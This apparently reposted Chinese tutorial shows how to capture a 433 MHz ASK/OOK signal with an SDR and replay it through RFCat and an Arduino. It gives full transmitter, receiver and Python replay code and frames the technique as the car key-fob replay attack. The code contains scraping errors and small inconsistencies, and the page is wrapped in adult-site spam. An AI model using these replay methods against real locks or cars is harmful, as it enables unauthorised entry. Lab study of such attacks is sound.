成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

使用Arduino模塊實施無線信號的重放攻擊

安全 黑客攻防
一種名為“車鑰信號重放攻擊”的新型攻擊方式已經被國內外的一些黑客普遍使用:他們利用無線電技術來截獲你的鑰匙卡指令,然后對汽車電子鑰匙的信號進行重放來入侵汽車、解鎖車門。感覺是不是很高大上呢?

寫在開頭

無線電已經存在使用了很長一段時間,在這很長的一段時間里誕生了一個名叫火腿族的集體(小編:嗯 對 就是整天吃火腿的那些人^_^ CQ CQ )。無線電和互聯網一樣:同樣存在一些安全隱患,比如:在無線信號的傳輸中并沒有考慮到CRC校驗、加密等安全問題。

小情景:如果你在某一天使用無線鑰匙卡解鎖汽車時候按第二次才成功解鎖,那么你的汽車已經被黑客盯上了!

一種名為“車鑰信號重放攻擊”的新型攻擊方式已經被國內外的一些黑客普遍使用:他們利用無線電技術來截獲你的鑰匙卡指令,然后對汽車電子鑰匙的信號進行重放來入侵汽車、解鎖車門。

感覺是不是很高大上呢?接下來我們將討論:如何使用Arduino模塊實施無線信號的重放攻擊(實現重放一個不歸零編碼ASK/OOK調制的信號)。

433.925MHz頻段在日常生活中很廣泛使用:從無線門鈴到車庫遙控器都有它的“影子”。本文用來重放演示的設備是一個無線控制開關,這種設備在歐洲比較常見,它能夠遠程以無線的方式控制電器的開和關。

設備如下圖所示:

使用Arduino模塊實施無線信號的重放攻擊

 

總之,信號以不歸零編碼的方式從發送端傳到接收端,隨后接收端對信號進行解碼并進行處理。不歸零碼是一種二進制碼:‘1’代碼正電壓,‘0’代表負電壓,脈沖的寬度越長代表數據量越大。下面是不歸零碼的一個示例:

使用Arduino模塊實施無線信號的重放攻擊

我們使用Arduino Uno和很常見的RF模塊以及RF模塊的arduino庫文件( RC Switch)作為我們的示例。

使用Arduino模塊實施無線信號的重放攻擊

 

所需材料

● RTL_SDR 亞馬遜鏈接:http://www.amazon.com/NooElec-RTL-SDR-RTL2832U-Software-Packages/dp/B008S7AVTC (或者其他接收設備,USRP等)

● SDR-Sharp: 官網:http://sdrsharp.com(功能類似的其他軟件還有:gqrx,HDSDR)

● Arduino Uno 網站:http://arduino.cc/en/Main/Buy

● 433MHz RF Link Set 網站:http://www.seeedstudio.com/depot/433Mhz-RF-link-kit-p-127.html

● 一些杜邦線,面包版

● RC-Switch 庫 網站:https://code.google.com/p/rc-switch/

● Audacity 網站:http://audacity.sourceforge.net/download/

● RFCat 網站:https://bitbucket.org/atlas0fd00m/rfcat

步入正題

首先,我們先把Arduino和RF模塊連接起來,并且把rc-switch庫加入到arduino編譯器并把程序下載到arduino中,下圖是arduino和RF模塊連接示意圖。對我的無線433MHz發射模塊來說,它有3個IO腳:GND,VCC和DATA。

模塊的IO腳直接和Arduino IO腳相連接,其中RF模塊的GND連接Arduino的GND,VCC連接Arduino的5V 管腳,DATA任意一個數字管腳。

使用Arduino模塊實施無線信號的重放攻擊

 

當Arduino和無線模塊物理連接正確以后,把下面的代碼編譯下載到Arduino中。

  1. </*  
  2.   Simple example for sending  
  3.  
  4.   http://code.google.com/p/rc-switch/  
  5. */  
  6.  
  7. #include <RCSwitch.h> 
  8.  
  9. RCSwitch mySwitch = RCSwitch();  
  10.  
  11. void setup() {  
  12.   mySwitch.enableTransmit(2);  // Using Pin #2  
  13. }  
  14.  
  15. void loop() {  
  16.   mySwitch.send("1100101"); // Send the message 0x65, in ASCII, ‘a’  
  17.   delay(1000);  // 1 second delay per transmission; 1000ms  

現在Arduino已近正常工作了,我們通過RTL-SDR和SDRSharp去捕捉信號,考慮到通過無線模塊產生信號不是很好的選擇,無線模塊的頻率會隨著時間改變,選擇AM的調制方式:把SDRSharp頻率范圍設定在433-434MHz之間。

當我們找到無線模塊發射的信號后,記錄下來并保存為WAV的文件。用Audacity打開記錄的WAV文件,如下圖所示,,它是一個相當直接的信號,在沒有源代碼的情況下,我們假設信號是不歸零碼編碼,脈沖寬度調制(PWM),且是ASK/OOK(幅移鍵控調制/開關監控-這意味著通過OOK控制開和關來表達數據的存在和不存在),最后一件事我們需要計算信號的波特率,按照下面的步驟計算:

1.在工具的的底部設置長度,選擇到信號的長度

2.獲取音頻的采樣率(這里是62500hz)

計算波特率的公式:

1 / (samples / samplerate) → 1 / (22 / 62500) = ~2,840bps

使用Arduino模塊實施無線信號的重放攻擊

大多數的情況,得到的波特率比較準確的,而且這個參數也是配置RFCat的一個重要參數。鑒于信號是脈寬調制的,我們需要把每個脈沖設定在合適的寬度。不幸的的是這需要反復實驗和調試,幸運的是,AndrewMac提供了一個非常完美的腳本RFCat解決了這些問題, 通過RFCat軟件,我們能夠發射處理的信號并且能使Arduino很容易的接收這些信號,當使用RFCat的時候,我們需要設置一些參數:如下面所示:

首先我們設置調制方式為 ASK/OOK,設置我們的目標頻率為 434042000Hz (433.925MHz),本質我們需要設置數據的長度,波特率為 2840bps, 確保發射為最大的功率,并且關閉同步,把同步模式設為0.

假定我們對RFCat已經有了足夠的了解并知道如何去使用,下面的腳本有助于我們執行上述的配置和PWM調節,這樣有利于我們能接收到匹配的傳輸信號。

  1. /*  
  2. Script by AndrewMac of andrewmohawk.com  
  3. */  
  4.  
  5. #!/usr/bin/env python  
  6.  
  7. import sys  
  8. import time  
  9. from rflib import *  
  10. from struct import *  
  11. import argparse  
  12. import pprint  
  13. import bitstring  
  14.  
  15. keyLen = 0 
  16. baudRate = (1 / 0.000350) #because the pulse width is 350 in the code  
  17. frequency = 434042000 
  18. repeatNum = 30 
  19.  
  20. def ConfigureD(d):  
  21. d.setMdmModulation(MOD_ASK_OOK)  
  22. d.setFreq(frequency)  
  23. d.makePktFLEN(keyLen)  
  24. d.setMdmDRate(baudRate)  
  25. d.setMaxPower()  
  26. d.setMdmSyncMode(0)  
  27.  
  28. print "[+] Radio Config:"  
  29. print " [-] ---------------------------------"  
  30. print " [-] MDMModulation: MOD_ASK_OOK"  
  31. print " [-] Frequency: ",frequency  
  32. print " [-] Packet Length:",keyLen  
  33. print " [-] Baud Rate:",baudRate  
  34. print "[-] ---------------------------------"  
  35.  
  36. #raw what we are sending    
  37. bin_str_key = "1100101";   
  38.  
  39. #adjust the key to make it longer so that the pulse width is correct  
  40. long_bin_key = "";  
  41.  
  42. for k in bin_str_key:  
  43. x = "*" 
  44. if(k == "1"):  
  45. x = "11100" # <mossmann> A zero is encoded as a longer high pulse (high-high-low)  
  46. if(k == "0"):  
  47. x = "1000" #<mossmann> and a one is encoded as a shorter high pulse (high-low-low).  
  48. long_bin_keylong_bin_key = long_bin_key + x  
  49.  
  50. print "[+] Binary (PWM) key:\n\t",long_bin_key,"\n"  
  51.  
  52. padAmount = len(long_bin_key) % 8  
  53. for x in range(0,8-padAmount):  
  54. long_bin_key = "0" + long_bin_key  
  55.  
  56. print "[+] Binary Padded (PWM) key:\n\t",long_bin_key,"\n"  
  57.  
  58. key_packed = bitstring.BitArray(bin=long_bin_key).tobytes()  
  59.  
  60. keyLen = len(key_packed)  
  61.  
  62. print "[+] Key len:\n\t",keyLen,"\n"  
  63. print "[+] Key:\n\t", key_packed.encode(&#039;hex&#039;),"\n"  
  64. print ""  
  65.  
  66. d = RfCat()  
  67. ConfigureD(d)  
  68.  
  69. print "[%] Transmitting key: ",repeatNum," times\n"  
  70.  
  71. #startString = "11101";  
  72. startStringBin = "000000000000000" + "1000100010001000111001000"  
  73. startkey_packed = bitstring.BitArray(bin=startStringBin).tobytes()  
  74. d.RFxmit(startkey_packed)  
  75.  
  76. d.makePktFLEN(keyLen)  
  77. for i in range(0,repeatNum):  
  78. sys.stdout.write( "." )  
  79. d.RFxmit(key_packed)  
  80.  
  81. #endString = "011";  
  82. d.RFxmit(&#039;\xFF&#039;)  
  83. sys.stdout.write("Done.\n") 

解釋一下上面的代碼:

首先我們設置了調制的模式,波特率等,并且把這些配置寫入到RFCat并使其生效

然后我們設定密鑰key,也就是我們要發送的原始數據并把它賦值給變量binstrkey

然后我們改變密鑰并認為‘1’表示111000,‘0’表示1000

這樣我們原始的密鑰(11001101)被定義新的二進制PWM 密鑰即 11100111001000100011100100011100。

我們脈沖的寬度是精確的。下一個步驟就是將二進制PWM密鑰轉換成比特類型,這樣數據就不以ASCII發送,然后用二進制PWM密鑰的長度去配置d.makePktFLEN(keyLen),這樣RFCat在發送時就有固定長度的密鑰,現在信息已近設置好了,我們還需要創建開始位和結束位以便Arduino知道我們數據什么時候開始發送和什么時候結束。當這些定義以后,我們執行RFxmit()函數,d.RFxmit(startkeypacked), d.RFxmit(keypacked), and d.RFxmit(‘\xFF’),最后發送為:

00000000000000010001000100010001110010001110011100100010001110010001110011111111

這些信息被發送30次,并且發送10次被認為是一次完整的消息請求。然而,為了檢查和確保信號正確的發送,修改repeatNum 等于‘1’,用SDRSharp重新錄制并和原始信號比較,發現兩者是相同的。

Arduino的接收代碼:

  1. /*  
  2.   Simple example for receiving  
  3.  
  4.   http://code.google.com/p/rc-switch/  
  5. */  
  6.  
  7. #include <RCSwitch.h> 
  8.  
  9. RCSwitch mySwitch = RCSwitch();  
  10.  
  11. void setup() {  
  12.   Serial.begin(9600);  
  13.   mySwitch.enableReceive(0);  // Receiver on interrupt 0 => that is pin #2  
  14. }  
  15.  
  16. void loop() {  
  17.   if (mySwitch.available()) {  
  18.  
  19. int value = mySwitch.getReceivedValue();  
  20.  
  21. if (value == 0) {  
  22.   Serial.print("Unknown encoding");  
  23. } else {  
  24.   Serial.print("Received ");  
  25.   Serial.print( mySwitch.getReceivedValue() );  
  26.   Serial.print(" / ");  
  27.   Serial.print( mySwitch.getReceivedBitlength() );  
  28.   Serial.print("bit ");  
  29.   Serial.print("Protocol: ");  
  30.   Serial.println( mySwitch.getReceivedProtocol() );  
  31. }  
  32.  
  33. mySwitch.resetAvailable();  
  34.   }  

此后,接收電路按照下圖連接:

使用Arduino模塊實施無線信號的重放攻擊

運氣好的話,你的信號很快就會匹配成功,接收端收到RFCat發送的信號,那么你已經成功實現信號的重放。

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2020-09-18 07:21:36

WLAN系統

2018-08-10 06:43:29

2012-10-19 15:24:44

2010-10-08 15:55:38

無線路由信號

2013-05-14 14:28:55

2010-09-08 16:21:00

2012-11-01 14:02:04

2009-04-22 17:18:29

ARM

2010-09-27 13:25:39

無線信號

2010-08-28 15:28:17

2009-09-15 13:37:46

2009-11-20 17:06:20

無線路由器無線信號

2016-08-23 09:21:33

SDR+inspect無線信號

2011-08-10 09:35:38

2010-09-16 20:45:14

2010-04-16 11:34:22

無線網絡實施

2010-03-15 09:26:52

無線信號覆蓋

2010-03-25 13:07:05

無線信號家庭無線局域網

2010-09-06 14:25:16

無線局域網

2011-01-11 14:11:57

inSSIDer無線網絡無線信號抗干擾
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产色| 欧美 日韩 国产 成人 | 久久久久久91 | 国产精品不卡 | 国产一区二区三区在线看 | 天天躁日日躁xxxxaaaa | 99re6在线视频精品免费 | 国产精品一区二区av | 伊人网影院 | 久久亚洲免费 | 99久久婷婷国产亚洲终合精品 | 国产美女在线观看 | 黄网址在线观看 | 激情a| 免费av观看 | 国产一区二区中文字幕 | 亚洲网站在线观看 | 三级特黄特色视频 | 九九热视频这里只有精品 | 国产精品久久二区 | 欧美中文字幕在线观看 | 久久久久国产一区二区三区四区 | 国产精品久久久久久久粉嫩 | 蜜桃视频在线观看免费视频网站www | 久久精品91久久久久久再现 | 亚洲二区在线观看 | 国产美女一区二区三区 | 成人毛片网站 | 精品久久一 | 久久综合婷婷 | 亚洲综合五月天婷婷 | 99成人 | 欧美激情免费在线 | 亚洲第一色站 | 欧美在线观看黄色 | 国内精品一区二区 | 99精品久久久久 | 天天操天天射天天舔 | 九色国产 | 亚洲天堂男人的天堂 | 毛片链接 |